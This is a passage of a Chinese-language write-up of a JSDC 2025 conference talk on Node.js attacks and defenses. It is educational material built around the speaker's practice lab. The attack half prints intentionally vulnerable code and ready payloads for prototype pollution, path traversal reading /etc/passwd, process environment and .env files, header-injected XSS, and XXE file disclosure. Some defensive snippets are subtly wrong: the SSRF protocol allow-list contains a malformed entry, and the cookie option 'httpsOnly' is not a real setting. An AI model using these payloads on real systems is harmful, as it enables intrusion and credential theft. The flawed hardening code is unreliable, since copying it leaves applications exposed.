      target[key] = merge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

攻擊 Payload:

{
  "__proto__": {
    "isAdmin": true
  }
}

影響:

const user = {};
console.log(user.isAdmin);  // true(被污染了!)

3.4 Path Traversal(路徑穿越)

Lab 路徑:https://nodelab.feifei.tw/api/pathTraversal

漏洞程式碼:

app.get('/api/pathTraversal', (req, res) => {
  const filename = req.query.filename;
  const content = fs.readFileSync(./upload/${filename}, 'utf8');
  res.send(content);
});

攻擊 Payload:

正常存取:

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=test.txt"

讀取 /etc/passwd:

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../etc/passwd"

讀取環境變數:

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../proc/self/environ"

讀取程式碼:

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../server.js"
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=/../.env"

3.5 Cache Pollution(快取污染)

Lab 路徑:https://nodelab.feifei.tw/api/cache

攻擊流程:

Step 1:清除快取

curl https://nodelab.feifei.tw/api/cache/flush

Step 2:確認快取為空

curl https://nodelab.feifei.tw/api/cache/getallvalue

Step 3:注入惡意腳本

curl -H "User-Agent: <script>alert('Hacked')</script>" \
  https://nodelab.feifei.tw/api/cache/

Step 4:檢查快取內容

curl https://nodelab.feifei.tw/api/cache/getallvalue

3.6 XXE(XML 外部實體注入)

Lab 路徑:https://nodelab.feifei.tw/load_xml

攻擊 Payload:

curl -X POST https://nodelab.feifei.tw/load_xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>'

第二部分:防禦者視角

四、Express 框架安全加固

4.1 使用 Helmet

const helmet = require('helmet');
app.use(helmet());

Helmet 會自動設定多個安全標頭:

  • Content-Security-Policy
  • X-Content-Type-Options: nosniff
  • X-Frame-Options: DENY
  • X-XSS-Protection

4.2 隱藏技術資訊

app.disable('x-powered-by');

4.3 修改 Session 名稱

app.use(session({
  name: 'sessionId',  // 不要用預設的 connect.sid
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpsOnly: true,
    secure: true,
    sameSite: 'strict'
  }
}));

💬 講者原話:「不要用預設的名字,你可以改成 sessionId,或是有些工程師會把它改成很像 PHP 的樣子。」

「這是一些『想要玩駭客的方法』,但不建議,因為你的主管朋友會問你說『你為什麼要這麼改?』然後你沒有辦法說服他。這樣子你可以叫他來聽我的議程。」

偽裝成其他技術(不建議,但有趣):

app.use(session({
  name: 'PHPSESSID',  // 偽裝成 PHP
  // ...
}));

4.4 輸入驗證

const { body, validationResult } = require('express-validator');

app.post('/api/user',
  body('email').isEmail().normalizeEmail(),
  body('password').isLength({ min: 12 }),
  body('username').trim().escape(),
  (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    // 處理請求...
  }
);

五、防禦特定漏洞

5.1 防禦 SQL Injection

// 使用參數化查詢
const { rows } = await db.query(
  'SELECT * FROM articles WHERE id = $1',
  [req.params.id]
);

// 或使用 ORM(Sequelize)
const article = await Article.findByPk(req.params.id);

5.2 防禦 XSS

const he = require('he');
const sanitizeHtml = require('sanitize-html');
const createDOMPurify = require('dompurify');

// 方法一:HTML 實體編碼
const safe = he.encode(userInput);

// 方法二:HTML 清理
const clean = sanitizeHtml(userInput);

// 方法三:DOMPurify
const purified = DOMPurify.sanitize(userInput);

5.3 防禦 Prototype Pollution

// 方法一:使用沒有原型的物件
const safeObject = Object.create(null);

// 方法二:凍結原型
Object.freeze(Object.prototype);

// 方法三:過濾危險屬性
function safeAssign(target, source) {
  const dangerous = ['__proto__', 'constructor', 'prototype'];
  for (let key in source) {
    if (dangerous.includes(key)) continue;
    target[key] = source[key];
  }
  return target;
}

5.4 防禦 SSRF

const { URL } = require('url');

const allowedHosts = ['api.example.com', 'data.example.com'];

app.get('/fetch', async (req, res) => {
  const { url } = req.query;

  try {
    const parsedUrl = new URL(url);

    // 白名單驗證
    if (!allowedHosts.includes(parsedUrl.hostname)) {
      return res.status(403).send('Access denied');
    }

    // 只允許 HTTP/HTTPS
    if (!['https:', ' https:'].includes(parsedUrl.protocol)) {
      return res.status(400).send('Invalid protocol');
    }

    const response = await axios.get(url);
    res.json(response.data);
  } catch (error) {
    res.status(400).send('Invalid URL');
  }
});

5.5 防禦 Path Traversal

const path = require('path');

app.get('/api/file', (req, res) => {
  const filename = req.query.filename;

  // 只取檔名,移除路徑
  const safeFilename = path.basename(filename);

  // 確認路徑在允許的目錄內
  const filePath = path.join(__dirname, 'upload', safeFilename);
  const uploadDir = path.join(__dirname, 'upload');

  if (!filePath.startsWith(uploadDir)) {
    return res.status(403).send('Access denied');
  }

  // 讀取檔案...
});

第三部分:Lab 路徑總整理

漏洞類型 Lab 路徑 HTTP 方法
SQL Injection /api/articles/:id GET
XSS(反射型) /search?keyword= GET
XSS(DOM-based) /form GET/POST
JWT 誤用 /api/auth/login POST
敏感資料洩露 /api/users/:id GET
SSRF /fetch?url= GET
SSTI – JsRender /ssti/JsRender-demo POST
SSTI – PugJS /ssti/PugJS-demo POST
SSTI – Nunjucks /ssti/Nunjucks-demo POST
反序列化 /api/serialize POST
Path Traversal /api/pathTraversal?filename= GET
Cache Pollution /api/cache/ GET
XXE /load_xml POST
NoSQL Injection /api/product/filter?category= GET
檔案上傳 /upload GET/POST
CRLF Injection /redirect?url= GET

結論:Node.js Matters?

對攻擊者而言

是的,但不是全部。

  • 60-70% 的漏洞與語言無關(SQL Injection、XSS、SSRF 等)
  • 20-30% 需要 Node.js 專業知識(Prototype Pollution、SSTI、反序列化)
  • 這 20-30% 往往可以導致 RCE(遠端程式碼執行)

對防禦者而言

是的,請擁抱你的技術。

  1. 理解 Node.js 的安全特性
  2. 建立 Node.js 特定的安全檢查清單
  3. 善用生態系統:helmet、express-validator、npm audit

💬 講者原話:「評估是否需要處理敏感的資料,有沒有在做個資的處理。個資法很重要,現在最高罰 1500 萬,所以請不要為了你們公司內部的這種個資的問題,或是你在幫客戶去寫程式碼的時候,忽略這件事情。」

安全的本質沒有變

無論使用什麼語言:

  • 永遠不信任使用者輸入
  • 最小權限原則
  • 深度防禦

參考資源


本文整理自 JSDC 2025 演講內容。所有攻擊 Payload 僅供學習用途,請在授權環境中練習。


附錄:Q&A 精選

以下是演講後的 Q&A 環節精華:

Q1:被雜湊過的密碼還可以利用嗎?

💬 講者回答:「我們可以破解雜湊。第一個叫 Hashcat 可以破解,另外一個叫 CMD5 的網站。這個中國的網站,你把雜湊丟進去之後,它會自動幫你進行反解。」

「你說雜湊不能反解嗎?這邊有個攻擊叫彩虹表,它在後端 map 純文字密碼跟雜湊的值。你會發現有時候查下去需要錢,這是他們的商業模式。」

密碼破解工具:

  • Hashcat:本地端 GPU 加速破解
  • John the Ripper:經典密碼破解工具
  • CMD5.com:線上雜湊查詢服務(彩虹表)

Q2:Vibe Coding 造成很多漏洞,怎麼看?

💬 講者回答:「工作機會有啦!沒錯,就是工作機會。我越喜歡大家使用 Vibe Coding,我就越有更多漏洞可以打。」

「這是個資安工程師的想法,但實際上我們會發現 Vibe Coding 在寫程式碼的時候,如果你有再看 Code 的話…因為我有一些 Vibe Coding 客戶是不會看 Code 的。」

「我們覺得未來應該會有一些自動化的 AI 工具可以幫我們掃描,其實現在已經有了。但我們會發現這些 AI 資安掃描的自動化工具,你可能掃完描你還會看不懂。Vibe Coding 看不懂,那你可能就要叫 AI 改。」

講者本次示範的程式碼:

「我在這次示範的程式碼全部都是 Vibe Coding 寫出來的,那時候還是用 GPT 寫的,現在應該可以寫出更漂亮、更好看的,因為有 Claude Code。」

Q3:有什麼破壞不可否認性的案例嗎?

💬 講者回答:「有時候你寫日誌的時候寫的太明白,日誌裡面可以找到帳號密碼。你把 Console Log 裡面塞了一大堆東西為了要 Debug,然後我可以從日誌裡面看到一些內容。」

「還有就是駭客進去之後把你日誌刪掉。不要覺得駭客不會做這種事情,有些駭客進去之後把所有的事情亂搞,亂搞完之後就開始進行日誌的清理,把你的日誌也清掉。」

日誌安全建議:

  • 不要在日誌中記錄敏感資訊(密碼、Token)
  • 將日誌傳送到獨立的日誌伺服器
  • 設定日誌不可刪除(append-only)
  • 定期備份日誌

Q4:MCP 有成熟的攻擊語法跟注入方法嗎?

💬 講者回答:「有。MCP 本身有時候會變成惡意的軟體,就是你信任這個 MCP,那我就可以在這 MCP 裡面用這個去偷你電腦裡面的東西。」

「實際上我們在使用 MCP 的時候,應該要注意它到底請求哪些權限、做了什麼事情。我相信很多 Vibe Coding 的人他不會覺得 MCP 有什麼風險,但就是有風險。」

MCP 安全建議:

  • 只使用可信來源的 MCP
  • 檢查 MCP 請求的權限範圍
  • 在沙盒環境中測試新的 MCP
  • 定期審查已安裝的 MCP

Q5:有推薦的掃描工具嗎?

💬 講者回答:「掃描工具有分黑箱跟白箱。白箱就是打開看得到裡面的程式碼。如果是黑箱的話你可以用 OWASP ZAP。現在 AI 工具其實也可以,可以用一些 OWASP 他們開發的工具,這是開源免費的。」

推薦工具清單:

類型 工具 說明
黑箱測試 OWASP ZAP 免費開源,功能強大
黑箱測試 Burp Suite 業界標準,有免費版
白箱測試 SonarQube 程式碼品質與安全掃描
白箱測試 Snyk npm 套件漏洞掃描
依賴檢查 npm audit Node.js 內建
AI 輔助 GitHub Copilot 可以幫忙找漏洞

講者提醒

「大家都不要成為腳本小子,我不想要看你等一下又被警察抓走。就算被抓走,不要說我教的,今天走出去你們就忘記這一切。」

「回去的時候可以跟資安 Team 做好朋友,但是在座開發者可能常常會跟資安人員吵架…」

「練習環境:nodelab.feifei.tw(回去可以打打看,記得通知我,我會幫你重開)」